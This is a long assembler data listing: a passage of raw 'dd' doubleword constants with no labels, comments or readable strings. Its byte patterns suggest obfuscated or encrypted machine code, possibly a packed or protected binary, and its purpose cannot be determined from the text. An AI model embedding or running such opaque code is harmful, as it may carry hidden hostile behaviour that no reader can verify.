3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 1C0BC350h, 0E9DE3538h dd 8, 1993C66h, 0A64C2711h, 324D85C7h, 6D20061Eh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 1E21CC3h, 1E33A18Dh, 6985C706h, 61E31h, 66000000h, 51CDADBBh dd 0F840Fh, 0AE90000h, 0BA000000h, 51DB39DDh, 0B6EAFEC2h dd 0B5FF5ED6h, 61E13E5h, 89D2B70Fh, 1E26A585h, 0B995FF06h dd 81061E16h, 0CE4F29DAh, 0FF006A7Ch, 1E26C195h, 0EBC08B06h dd 5D6F546Dh, 2AC9250Bh, 6BC9C491h, 840491EAh, 0FE47CFFBh dd 0EC9E1995h, 84EC472Dh, 3BBF49A3h, 91671DA2h, 307695Fh dd 2AB32DA0h, 0F322BE63h, 9101192Eh, 3D7FEAD1h, 0F61C49EEh dd 99AF88CFh, 0F4B7A842h, 0F1E34551h, 4F6A1698h, 0EDA4720Eh dd 23846C79h, 35DE3B9Bh, 3B319EA4h, 2537662Ch, 672D0C3Dh dd 210A55A1h, 74F04DD0h, 79EB9F19h, 0EF9E7D00h, 0FE2218Ch dd 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h, 9BB69CB5h dd 0B6F37760h, 9EB794A9h, 7D60D760h, 9EA9BD89h, 729EBD8Ch dd 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h, 94A19E96h dd 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch, 0F357DB4Dh dd 9BB7D65Eh, 0AFF600B7h, 9F8995ABh, 7156F000h, 0BEB3D7C7h dd 56711800h, 0E2ADC4D7h, 7E8D8773h, 0EE6E914h, 0FC680000h dd 0E90623EFh, 0FFFA9173h, 23F0C768h, 9169E906h, 0A968FFFAh dd 0E90623F1h, 0FFFA915Fh, 23F2E268h, 9155E906h, 6C68FFFAh dd 0E90623F3h, 0FFFA914Bh, 23F42C68h, 9141E906h, 0FC68FFFAh dd 0E90623F4h, 0FFFA9137h, 23F5BF68h, 912DE906h, 9868FFFAh dd 0E90623F6h, 0FFFA9123h, 23F73D68h, 9119E906h, 7468FFFAh dd 0E90623F8h, 0FFFA910Fh, 23FAAF68h, 9105E906h, 7968FFFAh dd 0E90623FBh, 0FFFA90FBh, 128732CFh, 3BB071F7h, 60D59C20h dd 8AFFA645h, 0B62BCE6Fh, 0F7788375h, 0A2BD32h, 21C5E055h dd 49EC077Ch, 973333A8h, 48C06381h, 3EF33Fh, 640DAFC8h dd 1FC5C182h, 373F48C1h, 738B43F2h, 12D359F0h, 0CD7009EBh dd 55ED0624h, 5605C6A8h, 0F48EA7E1h, 99AF6749h, 3924D34Bh dd 0F09FC60Bh, 4D6B0831h, 1DC7DD15h, 393924D3h, 0D2FDE7FDh dd 14593924h, 0A74EEEEDh, 0F05DFCF8h, 9EE33F42h, 0B5BA26BCh dd 55F23306h, 0EDA2A00Fh, 2C5B87E3h, 0A5000000h, 0CFED86B3h dd 42FE4CB9h, 25074C3Fh, 6A7518Fh, 2ACB7233h, 6613AF48h dd 0AFF51684h, 0DC22BFD5h, 0E3FF6F6Dh, 0DD2887h, 54720000h dd 0E9FFBB3Bh, 3924D2FBh, 0DEF165Bh, 1B9E9D4Ch, 0A7C0785Ah dd 0AEAD5C05h, 2D466409h, 5537E68Fh, 967839BCh, 51C347DEh dd 29C2E87h, 0BAD15453h, 2AF4BB7h, 3FBFBE98h, 0C6DE537Ah dd 3925B813h, 0E1561FA2h, 758B23C6h, 3925AF6Fh, 997BA2E7h dd 5A78F940h, 43BC8544h, 0E1569B3Fh, 203E3306h, 342FCFE8h dd 0E2D7C4ABh, 55375E2Dh, 31E9E594h, 9139287Eh, 93152E4Ch dd 112FF0D2h, 0E725E9FBh, 79286D2Ch, 0F8BD425Bh, 22C76883h dd 2A1A1D60h, 67EFF1ECh, 0C6Bh, 0BA2FEA77h, 0E358199Fh dd 87D24C8h, 32A74EEDh, 5ED39617h, 9F202B1Dh, 0B84A65DAh dd 0C96D88FDh, 1194AF24h, 3FDBDB50h, 48C1BB29h, 0EE69B3Fh dd 112FF273h, 0AF6AF8h, 4CCD708Bh, 68290BB6h, 0B3F8CC41h dd 0B9CFED86h, 3F42FE4Ch, 8F25074Ch, 3306A751h, 978BE5Bh dd 87E4000Bh, 0A3C4h, 0F0730E00h, 31B64F31h, 0E5F48A6Ch dd 0D03924D6h, 0F40F842Dh, 75CEB071h, 5991AFC4h, 0CED90B21h dd 387D3924h, 0DB3C8D89h, 213A3F42h, 34F5D79Eh, 0C1E40016h dd 2D723306h, 50C50A7Eh, 91AFC475h, 276A8E7Bh, 0C0D16839h dd 643226AFh, 1055C978h, 9154D9F2h, 0FD65A73h, 48BD6C2Dh dd 23E5882Dh, 0EC295C4Ch, 0A030B8BAh, 0AC00000Bh, 0DAF56A17h dd 31E9352h, 304BC061h, 5873E889h, 5C9D12D7h, 1BDE5F6Ah dd 4AF78BA6h, 7134BAD5h, 975EE1FCh, 70862222h, 3F48C274h dd 73552DE2h, 9FBA2FF2h, 0CE0551Ch, 1331F073h, 0D31FC5DBh dd 16AC3924h, 53DAF76Bh, 0C8EFB092h, 477F3719h, 24D2B331h dd 0AF5EA339h, 0EF640DB0h, 0AF9150D4h, 5DD29316h, 0B188DFA7h dd 516AA2C0h, 9A8A07AEh, 5727FA8Bh, 170A06B5h, 0F3F4374h dd 3423C1D7h, 0EE333307h, 0C3A54CEFh, 9ADF5302h, 64B72AC0h dd 0EB4E2A91h, 0F3526886h, 7B419B2Ch, 3D300DE4h, 6A198683h dd 40A4BAF6h, 16355F09h, 6FC8AAD1h, 758BA9CAh, 3B80813Ch dd 38516FB4h, 37CEECB5h, 0ACC93861h, 0FC830057h, 7EC0463Ch dd 0A7C237E6h, 3DE08504h, 53355416h, 0EFF1EE80h, 0ABE67h dd 7C39CA00h, 0A54CEC07h, 0D2931530h, 0FABB425Dh, 20C56A85h dd 6D786AABh, 95B025C8h, 0C0DB500Dh, 0EB067B3Eh, 3434A948h dd 0C3628298h, 3FF43F48h, 31F07367h, 465F974Fh, 0E400FCA1h dd 723924D2h, 7ABF7E2Dh, 8AA3DBF9h, 0BD4140E5h, 644D49F8h dd 0E23F42D5h, 702827C9h, 18CFD810h, 4708EA11h, 6ADF2498h dd 0B273AA8Fh, 0D08410C4h, 0BDF5133Ah, 0AE5D04A4h, 246E5BB2h dd 26084D39h, 0E80B5090h, 79BF5C2Ch, 8A5A70A8h, 0CC2CE80Bh dd 1E1CD887h, 0D78E029Bh, 49h, 9786B321h, 0D28BC6DFh, 516F9698h dd 41F0B138h, 638B0D23h, 0F7333F43h, 6CA03E1h, 0E70E5333h dd 930EB0C9h, 0AD6E5011h, 0E9F91186h, 0DE3306C9h, 0EB259A5Bh dd 0D7862FD2h, 713D56D8h, 6F43F16Ch, 68F0D2F9h, 9DFh, 0ED86B336h dd 0C138B9CFh, 0F3383F48h, 7839BCD5h, 9C45E803h, 0C3D861BAh dd 3D5B823Fh, 24D25D27h, 0D6F43939h, 38E173Fh, 56050763h dd 0D59C1F38h, 0CA24560h, 0B5B170F3h, 2CDCD92Fh, 0C0650A27h dd 37907299h, 3D537102h, 32FAEC64h, 0B665276Ch, 98E601B8h dd 9850E96h, 0F0910000h, 37B5D045h, 5ADEF96Eh, 6C0B269Bh dd 0B03550C5h, 453778EDh, 7BF0B53Ah, 0A217C260h, 0CD42E787h dd 0F1660FB2h, 0A53F55F1h, 0B13F48C4h, 6A7624FCh, 993924D2h dd 3F8F7DA0h, 8E4AD2BFh, 92304967h, 0A247E8E7h, 3250FFC0h dd 494A701Ch, 9319363Fh, 8CB372FAh, 8B2E4765h, 7E94CCEAh dd 33016E66h, 87FCABF0h, 4628C96Ch, 9274CEDh, 0A6B3AD1h dd 72512ECBh, 0EFEAC7C3h, 0C106391Eh, 25DD16FFh, 0AE3638ECh dd 8FBh, 4ABF7A07h, 73E8892Fh, 980DD458h, 0C237FE7Dh, 0EE6306A7h dd 0FB0BBADh, 48DAF56Ah, 79FD188Dh, 81243FB4h, 0CF6B6BE0h dd 48C62BB9h, 9E762B3Fh, 0D759F073h, 446B2C0Eh, 0CA6B0D26h dd 9A84FE8h, 903F6627h, 0D39215AEh, 0EDB1EB5h, 80D3E08Bh dd 6869EFD1h, 0CBB5B322h, 136E81C5h, 0B8000004h, 0CFED86B3h dd 48C0DFB9h, 3CC2DF3Fh, 1B345279h, 0BDB58487h, 0B4F10025h dd 3BEAAB8Dh, 0C061041Dh, 0E48D304Bh, 4E746C02h, 0AA8F3301h dd 0C9AB4AF1h, 0ADC3E108h, 391F5204h, 0BCD20A42h, 2CE34D28h dd 0F7EDE92Eh, 5F2CE34Ch, 4CD70D23h, 3A7F2CE3h, 0ABF06413h dd 26403EE9h, 7E0608ECh, 83Bh, 8AFFBA47h, 0B328C96Fh, 0D84D1498h dd 2773EBDh, 2EA346E7h, 4FF0FBEDh, 881A35AAh, 0B93D58CDh dd 0C1647FF4h, 0FABAB20h, 48C6EBF9h, 0DEB66B3Fh, 4F31F073h dd 907233B6h, 54C3090Ah, 81C5D056h, 36D0Fh, 1C545900h dd 24D2DE06h, 0A64FED39h, 49EEED32h, 5201C2A4h, 24D28A56h dd 0DBC07939h, 4F6D945Dh, 61EF29B8h, 0F3A2343Eh, 0A70FBFD5h dd 39713F49h, 1CAC123h, 0A1509533h, 29F5922Dh, 852C2FA5h dd 8427405Eh, 0E1C36205h, 1F01A048h, 9B10375Eh, 5234FD80h dd 153340F9h, 1F8EB2FFh, 98FD9439h, 9DC2F644h, 90546A88h dd 0C62CE381h, 225ED281h, 8210D4EAh, 1462CE3h, 0E381DF05h dd 0B32772Ch, 2675D849h, 58E0E2ECh, 76Bh, 0BA2FEA77h, 0E358199Fh dd 87D24C8h, 32A74EEDh, 5ED39617h, 9F202B1Dh, 0B84A65DAh dd 0C96D88FDh, 1194AF24h, 3FDBDB50h, 48C6BB29h, 0EE69B3Fh dd 4F31F073h, 139A33B6h, 82FF67Ah, 5C3E6526h, 9E8021C3h dd 0E1C36205h, 86387E7Fh, 2B173EE7h, 7775E42Ah, 0BA81C5D0h dd 0CA786C82h, 99DE3924h, 27C42EAh, 768C0000h, 3924D26Ah dd 67FBA099h, 0F017D8BAh, 0C11BBCD2h, 0E0773F48h, 8C595CF1h dd 1D91404Ch, 1AA1BAD8h, 9B8795Bh, 657BB3EBh, 3301807Fh dd 0E4E392D7h, 0F12BA041h, 8141A3B9h, 0F88A3301h, 0D584C93Dh dd 0B09253D6h, 7391E257h, 1F83C05Dh, 1C30839h, 0EC267032h dd 0A8921A1Ch, 0B4000006h, 0E2FD722Fh, 0B269B5Ah, 3853C869h dd 607BF0B1h, 64A51ADFh, 23C66772h, 520F93AEh, 793CC2DDh dd 9F46E904h, 788E2A2Ah, 3F48C76Ch, 735D35EAh, 0B64F31F0h dd 0F907233h, 9114C60Ch, 0CBAD74F8h, 8DC5E30Ah, 24D26D77h dd 15D85E39h, 38AD5CA1h, 0C5D46260h, 191B81h, 84650000h dd 1BEh, 469EB4ECh, 103924D3h, 4D97ADCBh, 93924D3h, 765D15C4h dd 3924D270h, 0BBD99A9Fh, 0C8C76A83h, 31550F05h, 0E190B794h dd 4905FDE5h, 0F210553Fh, 31B756D9h, 0A6CD8E70h, 0AA3A5088h dd 0AC330129h, 943B867h, 6D34B8D1h, 16CECA8Bh, 4033012Ah dd 0B5DC8523h, 0C6640706h, 12A34B0h, 0B6DD2233h, 0B5BE7BD4h dd 2C9C8197h, 0E72C391Fh, 261A2825h, 60E8EAECh, 5CFh, 269B46DBh dd 4FC46D0Bh, 7CF1B034h, 0A61BDA61h, 0D247EA8Bh, 13949F91h dd 24BED94Eh, 45E90479h, 6D102BA0h, 0B34F4FC4h, 48C9479Dh dd 825A0F3Fh, 4F31F073h, 907233B6h, 0D1B376F7h, 0FF1B038h dd 6E488E8Bh, 8C3E8487h, 0FBD348E9h, 81C5D4FDh, 7B6h, 0EB840000h dd 52000000h, 24D27176h, 0D899A039h, 0C145A4BAh, 58713F48h dd 0E20218CAh, 743300E4h, 0E559082Fh, 0C66982A0h, 44E8011Fh dd 4BFABB9Dh, 7938BBD6h, 9EFB3E97h, 0B6775904h, 0C25B718Fh dd 6391EE7h, 0D440FFC1h, 0C0EEC25h, 52A84h, 0F0AD3600h dd 19D8607Bh, 3EE789A4h, 660FAEC9h, 8C51D6F1h, 0D9E4D617h dd 11C9154h, 243FB461h, 4F6ADF82h, 909005ACh, 0CA06DEF4h dd 9B503F48h, 59F073C3h, 3E50CC9h, 3C1EC76Ah, 0C072B8BBh dd 0C5FF743Dh, 85670AACh, 5B5915C4h, 1481C5D4h, 7, 48845Eh dd 73520000h, 974F31F0h, 8534F97Eh, 0D86AE386h, 4FC1FBC7h dd 6D94795Ch, 2BCBCA8Bh, 0BCE3A486h, 0BDDE079Eh, 20AF5E3Ch dd 0E0B8F71h, 5FDEF7C8h, 44F3B496h, 0ACADA245h, 94FF9A18h dd 763FBEBDh, 37ACD394h, 122Dh, 0F073FB00h, 28B94F31h dd 153924D3h, 179A4C92h, 7305D94Eh, 0F64F31F0h, 0FA102E43h dd 3F48C0F7h, 6C31B6CFh, 0E60449BDh, 168B2ACDh, 0F16378FBh dd 3D357149h, 59B294BBh, 5F7593E0h, 3924EF25h, 770E2C71h dd 7A6EA5FCh, 11D3E9C1h, 452CDD4Eh, 0C2AD900h, 0A4BA70F3h dd 2CDD4E40h, 35AAD116h, 71F6971Ah, 9131CAACh, 1A4102E4h dd 39BCD5F3h, 26D59678h, 254EEB44h, 61B0F107h, 32032FBh dd 0C79D6A61h, 896BD3EDh, 98BF8062h, 20403D6h, 45CDCFE6h dd 3F3h, 42B762FFh, 6BE08127h, 9005AC50h, 0BA2FF675h, 0E65B1E9Fh dd 7A8B3A5h, 30D2ED62h, 71F51085h, 991C37ACh, 0C76363D8h dd 48CB33B1h, 966E233Fh, 0BC31F073h, 1EC76982h, 0E67C7B3Ch dd 0EA8D8C3Bh, 2DD0694Bh, 0AE4D6684h, 0BB3C9BB1h, 0C0E728A1h dd 8C6E1DDEh, 1F356D0Bh, 392523C5h, 1A9D4C91h, 0D69F22D4h dd 838B8961h, 0B5CE81C5h, 0C98A6C31h, 36721Ah, 0B3BC0000h dd 0B9CFED86h, 3F431FDFh, 447C9ADFh, 0DBF1892Bh, 33068709h dd 32E1084Dh, 79EEB333h, 6868161h, 2A34633h, 0B23A538Dh dd 0A14544F3h, 48921AFCh, 60000003h, 0CFED86B3h, 42F2C0B9h dd 997BC03Fh, 0D2B47D00h dd 3A0B514Eh, 373F0BA3h, 3AC83BE0h, 0B5DC9D7Fh, 69240138h dd 10BF8921h, 6D8BE851h, 0B06E40D6h, 9140A87Eh, 471C5D73h dd 1F643924h, 96ACFAAh, 27A4D5EBh, 19323306h, 0AD21D095h dd 48ED8668h, 982AC3A5h, 0C062FBDDh, 0AFB23315h, 9ABB8F69h dd 1A57E254h, 0BABC4FCh, 0C7C38466h, 26C9E91Dh, 2745F439h dd 0E8086811h, 7AFB182Ch, 9714D5B7h, 560BE85Fh, 6EE30A29h dd 2F11D053h, 16DF5E77h, 0C5C47334h, 330E8322h, 394F6D06h dd 26C92020h, 1621DF76h, 0AC53F069h, 0C96C89FDh, 891F0128h dd 1A8D5B57h, 372B855h, 0A05D4805h, 43BEh, 3B540800h, 5314F6BBh dd 4754E5A4h, 0B9D7FEBBh, 42FE62A3h, 0F3738C3Fh, 0DC8B4C2Eh dd 89412368h, 1713EFF2h, 9443918Dh, 6BE4898h, 81C76433h dd 0E3E91412h, 0CECD87h, 1AB10000h, 83D1EF99h, 0D28A3927h dd 4F31F073h, 4E6C31B6h, 70EDB035h, 29513AE9h, 16F8A7FFh dd 593BFA7Dh, 56743DC0h, 0C4EF66BFh, 6B588F3h, 607991h dd 0D2553925h, 0E0839E13h, 33065F41h, 0EF0A203Eh, 913F4305h dd 69DD74Ch, 0C8D9A3Dh, 2ED1D0BDh, 2019D887h, 0E7FD3553h dd 330721FDh, 47651459h, 27CE5031h, 83234039h, 0EABBA88h dd 0F2194B43h, 0A284F10h, 9429B9D2h, 0AC6D4F12h, 33E2A385h dd 79EEB334h, 5214D95Eh, 0EC28E199h, 0B8CB5355h, 0C4000001h dd 0F20D823Fh, 1B36AB4Ah, 4863D899h, 708B00A1h, 74B52ACFh dd 33F67782h, 621FA3BEh, 892CD2EDh, 0AF76F914h, 889E3A3Ah dd 3F48CC5Ch, 736D45FAh, 9FBA2FF2h, 0CE0551Ch, 949786B3h dd 679EF638h, 0D70F2D54h, 256823C1h, 3FEE3339h, 92FA0B21h dd 599E3F43h, 3CFFE177h, 10AD3307h, 6A5D5BCAh, 9B1687E3h dd 60000000h, 4F31F073h, 8A6C31B6h, 24D6E5F4h, 842DD039h dd 0B071F40Fh, 0AFC475CEh, 0DB7E7B91h, 3F583F42h, 5617F9B8h dd 0DEF733A7h, 0F3B4965Fh, 6C0EDF7h, 0FD246933h, 0E78CAD88h dd 6A6FB3C9h, 1E633927h, 0EAFC800h, 17865E74h, 8BD02CE6h dd 31B6B564h, 5BDCF76Ch, 0C11D496h, 0DBDDEC29h, 0EE53h dd 0AC69FA00h, 0D59C1C37h, 2A34560h, 2ACB728Dh, 50159AB5h dd 9DA89ADBh, 0C5E05518h, 0F00B803Dh, 1B36AB4Eh, 6464D998h dd 0CE32B2C8h, 6F243F48h, 2FF27397h, 551C9FBAh, 3B540CE0h dd 4948F7BAh, 841DFFA6h, 92240E1h, 9E5BE766h, 57D4FBBCh dd 3A9A1C70h, 4CC170EFh, 9EB4C871h, 39250F46h, 86A4CB10h dd 48FC8970h, 94B2F73Fh, 0DB5EFB7Bh, 5077381Ah, 1CFEAD6Eh dd 56EBE083h, 4A19B459h, 0B34A688Fh, 446ED404h, 0C75DDA41h dd 10FE27F6h, 548E03B2h, 48F7BA3Bh, 1DFFA649h, 5E8D1F87h dd 2484545h, 8F04AD50h, 0D658F174h, 0ABDE061Ch, 337820A3h dd 0AEC7E50Ch, 0C384660Fh, 0D18021C4h, 17D756EFh, 0A3ABE301h dd 72E7320h, 5096B725h, 0E55A1B9Eh, 9C7E27CAh, 4E96ACE4h dd 820A3ACh, 82614C3h, 8E000000h, 8130ED75h, 73A77FC9h dd 0B85133EEh, 0F18A6C35h, 2DC6A84Dh, 6D06E895h, 0AA4325C8h dd 0E57E6005h, 24BD9F46h, 66FFE180h, 3D1FC6h, 13F168h dd 24048900h, 3DF668h, 240C8900h, 8904EC83h, 53572414h dd 1D1D27BBh, 5BDF892Bh, 3EF383B9h, 5FF9312Dh, 8904EC83h dd 4812424h, 424h, 68505A00h, 8, 89D00158h, 148B5808h dd 0E0895024h, 405h, 40500h, 4870000h, 0C8B5C24h, 0E3895324h dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FA82A2E9h, 0E1E511FFh dd 0F09D6ACCh, 0DC55EBA4h, 23FC8CB8h, 0FFC50306h, 0B25CFAE0h dd 0AA50B749h, 0FF28D63Bh, 0A22ED55Bh, 0BB32AA3Dh, 5093640Dh dd 69A74232h, 0DDFA4565h, 76FE1607h, 73269D43h, 0B9F40473h dd 5AC50075h, 0DE86Eh, 90970000h, 0C48CD458h, 75077B5Ah dd 527B378Ch, 59CFB70Fh, 3810F5Eh, 66000000h, 0C681F98Bh dd 63F3h, 68FEB70Fh, 18CFh, 5AF98B66h, 9E9h, 0F1ED4C00h dd 7C2BD2E2h, 1E8B5077h, 0F381F98Bh, 5A42D278h, 81C8B70Fh dd 0C82485C3h, 0BE804h, 0BD890000h, 0D1C99A5Ah, 0ED889D72h dd 0C6D7B815h, 815801D5h, 64D57DEBh, 89E68A58h, 0F890F1Eh dd 0E9000000h, 0Ah, 0E7E8CA5Ch, 62C3DBE3h, 0EE83C66Dh dd 0E0816604h, 0F4ADB55h, 1585h, 0CBB70F00h, 20E9h, 0E319F000h dd 0C09DBA65h, 8E53C4F3h, 0EF815C9Ch, 0B87D6BFh, 0FFFF89E9h dd 0E79DFFFh, 0CAF31EF4h, 17DE9A5h, 5D600000h, 16C4FFEh dd 0D1D76FC2h, 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h dd 92A59EB9h, 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh dd 45D2009Eh, 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h dd 0F647FEACh, 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h dd 0CD45C9BCh, 6CA1915Ch, 0ACE5h, 1, 42h dup(0) dd 0F8000000h, 0A43736D1h, 77D3C20Dh, 0E91F865Ch, 102Eh dd 24017868h, 44E6E906h, 8468FFFBh, 0E9062402h, 0FFFB44DCh dd 24044268h, 44D2E906h, 3068FFFBh, 0E9062405h, 0FFFB44C8h dd 24065D68h, 44BEE906h, 3768FFFBh, 0E9062407h, 0FFFB44B4h dd 2407C868h, 44AAE906h, 4468FFFBh, 0E9062408h, 0FFFB44A0h dd 24099468h, 4496E906h, 3368FFFBh, 0E906240Ah, 0FFFB448Ch dd 240AD768h, 4482E906h, 8668FFFBh, 0E906240Bh, 0FFFB4478h dd 240C3568h, 446EE906h, 3A68FFFBh, 0E906240Dh, 0FFFB4464h dd 240E3868h, 445AE906h, 0CF9DFFFBh, 0B7A1F242h, 0B5A1F242h dd 0B6A3F444h, 0ADA8F949h, 0BB33FA4Ah, 0D424D382h, 0DB2BE883h dd 0DA2ACD8Ah, 0D828E189h, 158839B6h, 5D1AA9FBh, 0EEF31885h dd 0D4ADCCh, 0AB82B3AAh, 343952BFh, 0B9F2EFDh, 1B03341Ch dd 3B8B84E6h, 0F10E4B22h, 0E244B7A0h, 2BDD75A6h, 5108B3Ch dd 0A2601C8Dh, 6080314Ah, 0E01A9318h, 0BEC3C022h, 535E3C22h dd 92437435h, 1A92272Bh, 2D818621h, 9FC91305h, 78C35BDAh dd 0F8BC8FBDh, 3FC4BEC7h, 0E7E1C346h, 55C89CA1h, 4B1598D4h dd 3A121Ah, 0FAC50000h, 50011A0Eh, 1A93D0CCh, 69D48504h dd 0A91A93D0h, 223193EBh, 1A93D0BBh, 31B6ACB1h, 0E7E32A38h dd 0D843F493h, 181A93CCh, 0CC75E899h, 0FFBD1A93h, 0CF6E76A7h dd 21000000h, 62AFBBh, 0F7748ACBh, 0D4ABC41Ch, 5C447582h dd 64C64327h, 7ECE3B2Fh, 8DFF3E53h, 739CCE1Ch, 0AE98D223h dd 147693D7h, 0FF32ADD8h, 0C4821C8Dh, 360D0A6Ch, 0EA6D720h dd 76152E1Ah, 8DFF5AC5h, 0B44B0E1Ch, 0D91E38EFh, 0B15081h dd 1A93F370h, 421932F0h, 0D8AEDF28h, 8A6DE8BFh, 0ABDC1D39h dd 1A33E513h, 0B346C869h, 314A081Ch, 0ACFCFB5Ah, 64AFBC93h dd 0FEF95C33h, 52C09143h, 76C48C6Fh, 0DA9h, 9CEC2943h dd 0A0F00D4Bh, 0A2F2074Fh, 9FEF0851h, 0A0F0074Eh, 2D2861D9h dd 42297ACAh, 332475C5h, 432778C8h, 0D75476C6h, 0A9FABB26h dd 0B623FB1Ah, 0A5369ABBh, 5D37EB8Fh, 0B70858B0h, 0ED0656B3h dd 0A4229D4Eh, 0B4721C8Dh, 0EFA9483h, 8B62011Ah, 76E233E0h dd 1D9F5081h, 531A93D0h, 0C5A57C95h, 3CEDEA4Ch, 1A93D0C1h dd 0CAFB5311h, 0D06CD3E2h, 5D621A93h, 29E7E065h, 6B42E7E3h dd 71AD0FECh, 0CC34A758h, 0BE7C1A93h, 0BC858Dh, 0BB380000h dd 62123BAFh, 0E9EC396Ch, 8D92C538h, 0F74F0D1Ch, 0F34BC4A6h dd 9CBD9491h, 94C50163h, 0FD5F98BDh, 8D96A5EEh, 5102A11Ch dd 1C8D95EEh, 60376826h, 5CADFD0Ah, 0A29F010Eh, 28A6769Dh dd 0D001D3E6h, 3F58C038h, 9322FE8Eh, 8FC77E1Ah, 0B851196Ah dd 0AFE1060h, 0C454051Eh, 41CB3B0h, 7069D485h, 0EBA910B2h dd 0B2A37A93h, 97EF0C4Ch, 985FF647h, 538F01DDh, 16642C6Fh dd 0C9Dh, 88D83537h, 8CDC2137h, 8EDE1B3Bh, 93E31C3Dh, 94E41342h dd 391C55CDh, 4E1D6EBEh, 372071C1h, 472374C4h, 0DB587ACAh dd 0A9F9B72Ah, 0BA27FF1Ah, 0D5D9ABBh, 4861AEBCh, 0E213E471h dd 0AFBBA30Ch, 0A80AEF69h, 0B5B2146Ch, 4E7F78DEh, 0A455F377h dd 1C8DFB39h, 56BC14BFh, 0BB804E37h, 4355A5FDh, 994A63D5h dd 1A93050Fh, 16258745h, 1A92FAAFh, 2DBAA0A5h, 0E7E25434h dd 5C9FB88Fh, 6693C5FAh, 83D5DD0Eh, 88000000h, 11A0EFAh dd 93F39450h, 8B9581Ah, 1A93F395h, 0A3EE1FDDh, 2EC7CCE5h dd 53DC7043h, 9FAE96C7h, 1A93CE38h, 0B431292Eh, 0E7E323BBh dd 51ADh, 0EFA6000h, 0EC50011Ah, 241A93F6h, 0F689F4A5h dd 0BC91A93h, 0F6DE41F2h, 58161A93h, 5B10E700h, 0F6C33EEFh dd 55131A93h, 2E5F9BFDh, 0F6C03746h, 2BC61A93h, 56A3B58Ch dd 93F6B02Bh, 0F142001Ah, 0F6329465h, 41C6BCC5h, 0E7E34848h dd 233Ah, 54F3ED00h, 8DFB38A3h, 8E69EC1Ch, 742BF02Ch, 79B517E4h dd 0E4570821h, 2C1C8DFBh, 0B64D3D6Eh, 8, 0C14E1CF3h, 0AB0DFA70h dd 72A63E6Fh, 0FBE95405h, 6B291C8Dh, 0A549FA13h, 0AB1AAE04h dd 6DFDD4EDh, 363B54A4h, 51D57B8Bh, 5E3566DBh, 4BEA030Ch dd 5680FBACh, 12D01AAEh, 0AE5674E7h, 0D126301Ah, 351D4E0Ch dd 465FC93Fh, 0A038A2A7h, 0E94A1E00h, 489607B8h, 1CDA1C8Dh dd 0D13E2C03h, 7F78E1B8h, 0DAB0E11Dh, 0C628E189h, 0D7F058D0h dd 0D60A6138h, 147F0C11h, 74A5FDECh, 0D45E9DC3h, 1BF6DB16h dd 7BB5C58Eh, 0D90FCA22h, 6C757930h, 0ADF56A4h, 0F3790000h dd 0E375C616h, 0E175C616h, 0E277C818h, 0E174C515h, 87FFC616h dd 0A0F0074Eh, 9FEF1C4Fh, 9EEE094Eh, 0A4F41D4Dh, 0E9540582h dd 291AA9FFh, 7AE1E451h, 6D1C8DFAh, 0C3748DBBh, 1AAE043Bh dd 595E7735h, 7E4C344Ah, 62386953h, 14E37249h, 6BDD4BE3h dd 8FDCB352h, 95E62284h, 570839D6h, 1C8ADB8Fh, 0A21DCE6Dh dd 0F210C527h, 0F76A1B34h, 3F10C527h, 47055081h, 0F613572Eh dd 1F888DA6h, 0D5AFE18Ah, 3A300738h, 976E6BCDh, 54C778BEh dd 9C10C544h, 0E82486DEh, 3FE91FB7h, 3DB82126h, 0D481F37Eh dd 0E25304A3h, 0CA16E68Eh, 6D0923C5h, 88B97F0Ch, 920DBE3Dh dd 0E20EE1CAh, 14B3CC24h, 0AFE0193Dh, 257592D8h, 177996D4h dd 0E1CA9308h, 0B266928Eh, 4823FA99h, 17F07ACBh, 0F8C735E6h dd 470588FFh, 9E66668Ch, 95E3ABFBh, 9F1h, 0E434E18Bh, 0E838C593h dd 0EA3ABF97h, 0E737C099h, 0E838BF96h, 0E570A921h, 0FA71C212h dd 0EB6CBD0Dh, 0FB6FC010h, 1F9CBE0Eh, 0A9FEF36Eh, 0FE6B431Ah dd 0A8590EFAh, 1C8DFB35h, 4E67BF7Dh, 0AE05419Dh, 38510F1Ah dd 6394C299h, 0DB0F5B32h, 900AD390h, 1E378F54h, 0B5E62347h dd 33DC8EDFh, 3A2DDBD1h, 0AE1A1689h, 48A05E1Ah, 0E4747E2Fh dd 26E41C8Dh, 0E234360Dh, 0DA2A8275h, 0C628E189h, 6792AC9h dd 4E10CA1Bh, 51C75F90h, 3B937CEEh, 6FD28322h, 0A710CA1Bh dd 2B8D7AF0h, 0C76697EFh, 0E9E59916h, 0E2FBB916h, 62B25F0Bh dd 0C5D44449h, 0E4FCDB98h, 818EDCB3h, 0C4B221Fh, 0E88FB4C8h dd 0F64E8895h, 7FAD14C5h, 68A00EE6h, 136B90C7h, 81F949FAh dd 12F708C5h, 5CAC43E4h, 162F8733h, 0AEDF2C3Fh, 0D532380Fh dd 0D9363485h, 0D7021C0h, 450402A6h, 0DC233687h, 250D3E7Ah dd 256F92Fh, 0D3849DF5h, 2215B03h, 0C7667F3Dh, 329467F0h dd 0A650CBF6h, 0E2A0023Eh, 25D3C9B1h, 0BB29DAF3h, 0F90420A8h dd 6E7C803Bh, 0C99187E5h, 8C47Bh, 10E5E00h, 3F860B1h, 3F462B3h dd 0F762B3h, 1F65FB0h, 3972EAB1h, 3A8BDB1Ch, 3586D631h dd 3485D522h, 6789D936h, 0FDC639EAh, 360E1AA9h, 62AFBBC9h dd 0EF97249h, 573F70ACh, 5DBF4822h, 4A0DE4FDh, 8F737CADh dd 8EDE2B3Fh, 0BA25D675h, 0FA1C8DFBh, 0F6EF0B3Ch, 0E8EE0154h dd 13h, 4F4A29Bh, 0A0A50000h, 87D110E1h, 595EF372h, 5D07F627h dd 55C335D4h, 0DB558B3Ch, 65231A93h, 0BCB04B3h, 0CE3AC998h dd 0B890415Ah, 0D8C3BA3Bh, 402A011Ah, 0B1AE96C7h, 0EBE1D1ACh dd 0EA1B20AAh, 5972A652h, 0E42BE0A8h, 